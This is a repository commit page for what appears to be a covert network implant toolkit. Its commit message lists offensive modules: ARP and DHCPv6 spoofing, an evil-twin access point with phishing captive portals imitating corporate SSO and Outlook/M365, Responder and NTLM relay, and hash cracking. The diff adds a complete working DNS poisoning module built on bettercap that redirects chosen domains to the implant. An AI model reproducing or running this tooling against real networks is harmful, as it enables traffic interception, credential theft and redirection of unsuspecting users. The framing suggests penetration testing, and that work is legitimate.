Phase 4: Active modules, templates, and operator scripts
Active modules (9 files in modules/active/): - bettercap_mgr: Central bettercap orchestrator with REST API health monitoring, event stream parsing, crash recovery with corrective gratuitous ARPs, caplet management, and process disguise - arp_spoof: Thin bettercap wrapper for ARP spoofing with OPSEC warnings - dns_poison: DNS poisoning with zone template loading support - dhcp_spoof: DHCPv6 spoofing via bettercap for rogue DNS injection - evil_twin: hostapd-based rogue AP with captive portal and dnsmasq, iptables redirect, credential capture via HTTP POST handler - ipv6_slaac: IPv6 SLAAC spoofing via bettercap + mitm6 WPAD abuse - responder_mgr: Responder subprocess manager with hash file monitoring, NTLMv1/v2 parsing, session log scanning, relay target coordination - mitmproxy_mgr: Transparent proxy with addon scripts, tier checking (OPi Zero 3+ only), iptables setup, credential/token extraction - ntlm_relay: ntlmrelayx wrapper with multi-protocol relay (SMB, LDAP, LDAPS, HTTP, MSSQL, ADCS), Responder exclusion coordination, SOCKS Templates (9 files): - 4 captive portals: corporate SSO, guest WiFi, Outlook/M365, VPN (self-contained HTML with inline CSS, realistic login forms) - 2 DNS zones: redirect-all and selective Jinja2 template - 2 hostapd configs: open AP and WPA2-PSK Jinja2 templates - 1 Responder.conf Jinja2 template with protocol toggles Operator scripts (6 files in scripts/operator/): - pull_data.sh: rsync structured data over WireGuard/Tailscale - extract_files.sh: tshark HTTP/SMB/FTP/TFTP file extraction - extract_print_jobs.sh: TCP/9100 print job reconstruction + PDF convert - extract_emails.sh: SMTP email extraction with attachment detection - crack_hashes.sh: Export creds to hashcat format, optional auto-crack - generate_report.py: SQLite-to-Markdown/HTML engagement report generator
This commit is contained in:
@@ -0,0 +1,201 @@
|
||||
#!/usr/bin/env python3
|
||||
"""DNS Poisoning module — push DNS spoofing rules via bettercap REST API.
|
||||
|
||||
Template-driven zone files are converted to bettercap dns.spoof.domains
|
||||
format. Supports selective domain redirection and wildcard matching.
|
||||
Zone templates live in templates/dns_zones/.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger("bb.active.dns_poison")
|
||||
|
||||
|
||||
class DNSPoison(BaseModule):
|
||||
"""DNS poisoning via bettercap dns.spoof module.
|
||||
|
||||
Dependencies:
|
||||
- bettercap_mgr must be running.
|
||||
|
||||
Configuration:
|
||||
domains: Comma-separated domains to poison (e.g., "*.example.com,login.corp.local")
|
||||
target_ip: IP to redirect poisoned domains to (default: implant IP)
|
||||
zone_file: Path to zone template for selective redirection
|
||||
"""
|
||||
|
||||
name = "dns_poison"
|
||||
module_type = "active"
|
||||
priority = 200
|
||||
requires_root = True
|
||||
dependencies = ["bettercap_mgr"]
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._bettercap_mgr = None
|
||||
self._poisoning = False
|
||||
self._domains: Optional[str] = None
|
||||
self._target_ip: Optional[str] = None
|
||||
self._zone_dir = config.get(
|
||||
"zone_dir",
|
||||
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "dns_zones"),
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._bettercap_mgr = self.config.get("bettercap_mgr")
|
||||
if not self._bettercap_mgr:
|
||||
logger.error("DNSPoison requires bettercap_mgr reference in config")
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("DNSPoison module started (ready for poison commands)")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
if self._poisoning:
|
||||
self.stop_poison()
|
||||
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("DNSPoison module stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"poisoning": self._poisoning,
|
||||
"domains": self._domains,
|
||||
"target_ip": self._target_ip,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def poison(self, domains: str, target_ip: str) -> bool:
|
||||
"""Enable DNS poisoning for specified domains.
|
||||
|
||||
Args:
|
||||
domains: Comma-separated domains or wildcards
|
||||
(e.g., "*.corp.local,login.example.com").
|
||||
target_ip: IP address to redirect poisoned domains to.
|
||||
|
||||
Returns:
|
||||
True if DNS poisoning was enabled successfully.
|
||||
"""
|
||||
if not self._running or not self._bettercap_mgr:
|
||||
logger.error("DNSPoison not started")
|
||||
return False
|
||||
|
||||
try:
|
||||
self._bettercap_mgr.run_command(f"set dns.spoof.domains {domains}")
|
||||
self._bettercap_mgr.run_command(f"set dns.spoof.address {target_ip}")
|
||||
self._bettercap_mgr.run_command("dns.spoof on")
|
||||
|
||||
self._poisoning = True
|
||||
self._domains = domains
|
||||
self._target_ip = target_ip
|
||||
|
||||
self.state.set(self.name, "domains", domains)
|
||||
self.state.set(self.name, "target_ip", target_ip)
|
||||
logger.info("DNS poisoning enabled: domains=%s -> %s", domains, target_ip)
|
||||
return True
|
||||
|
||||
except Exception:
|
||||
logger.exception("Failed to enable DNS poisoning")
|
||||
return False
|
||||
|
||||
def load_zone(self, zone_file: str) -> bool:
|
||||
"""Load a zone template and apply DNS poisoning rules.
|
||||
|
||||
Zone file format (one entry per line):
|
||||
domain.com 10.0.0.0
|
||||
*.corp.local 10.0.0.0
|
||||
# comments ignored
|
||||
|
||||
Args:
|
||||
zone_file: Filename within the zone_dir (e.g., "selective.zone").
|
||||
|
||||
Returns:
|
||||
True if zone was loaded and applied.
|
||||
"""
|
||||
zone_path = os.path.join(self._zone_dir, zone_file)
|
||||
if not os.path.isfile(zone_path):
|
||||
logger.error("Zone file not found: %s", zone_path)
|
||||
return False
|
||||
|
||||
try:
|
||||
domains = []
|
||||
target_ip = None
|
||||
|
||||
with open(zone_path, "r") as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line or line.startswith("#"):
|
||||
continue
|
||||
parts = line.split()
|
||||
if len(parts) >= 2:
|
||||
domains.append(parts[0])
|
||||
# Use the last IP seen as target
|
||||
target_ip = parts[1]
|
||||
elif len(parts) == 1:
|
||||
domains.append(parts[0])
|
||||
|
||||
if not domains:
|
||||
logger.warning("Zone file %s contains no entries", zone_file)
|
||||
return False
|
||||
|
||||
if not target_ip:
|
||||
target_ip = self.config.get("implant_ip", "127.0.0.1")
|
||||
|
||||
return self.poison(",".join(domains), target_ip)
|
||||
|
||||
except Exception:
|
||||
logger.exception("Failed to load zone file: %s", zone_file)
|
||||
return False
|
||||
|
||||
def stop_poison(self) -> bool:
|
||||
"""Disable DNS poisoning.
|
||||
|
||||
Returns:
|
||||
True if DNS poisoning was stopped successfully.
|
||||
"""
|
||||
if not self._bettercap_mgr:
|
||||
return False
|
||||
|
||||
try:
|
||||
self._bettercap_mgr.run_command("dns.spoof off")
|
||||
self._poisoning = False
|
||||
self._domains = None
|
||||
self._target_ip = None
|
||||
|
||||
self.state.set(self.name, "domains", "")
|
||||
self.state.set(self.name, "target_ip", "")
|
||||
logger.info("DNS poisoning disabled")
|
||||
return True
|
||||
|
||||
except Exception:
|
||||
logger.exception("Failed to disable DNS poisoning")
|
||||
return False
|
||||
Reference in New Issue
Block a user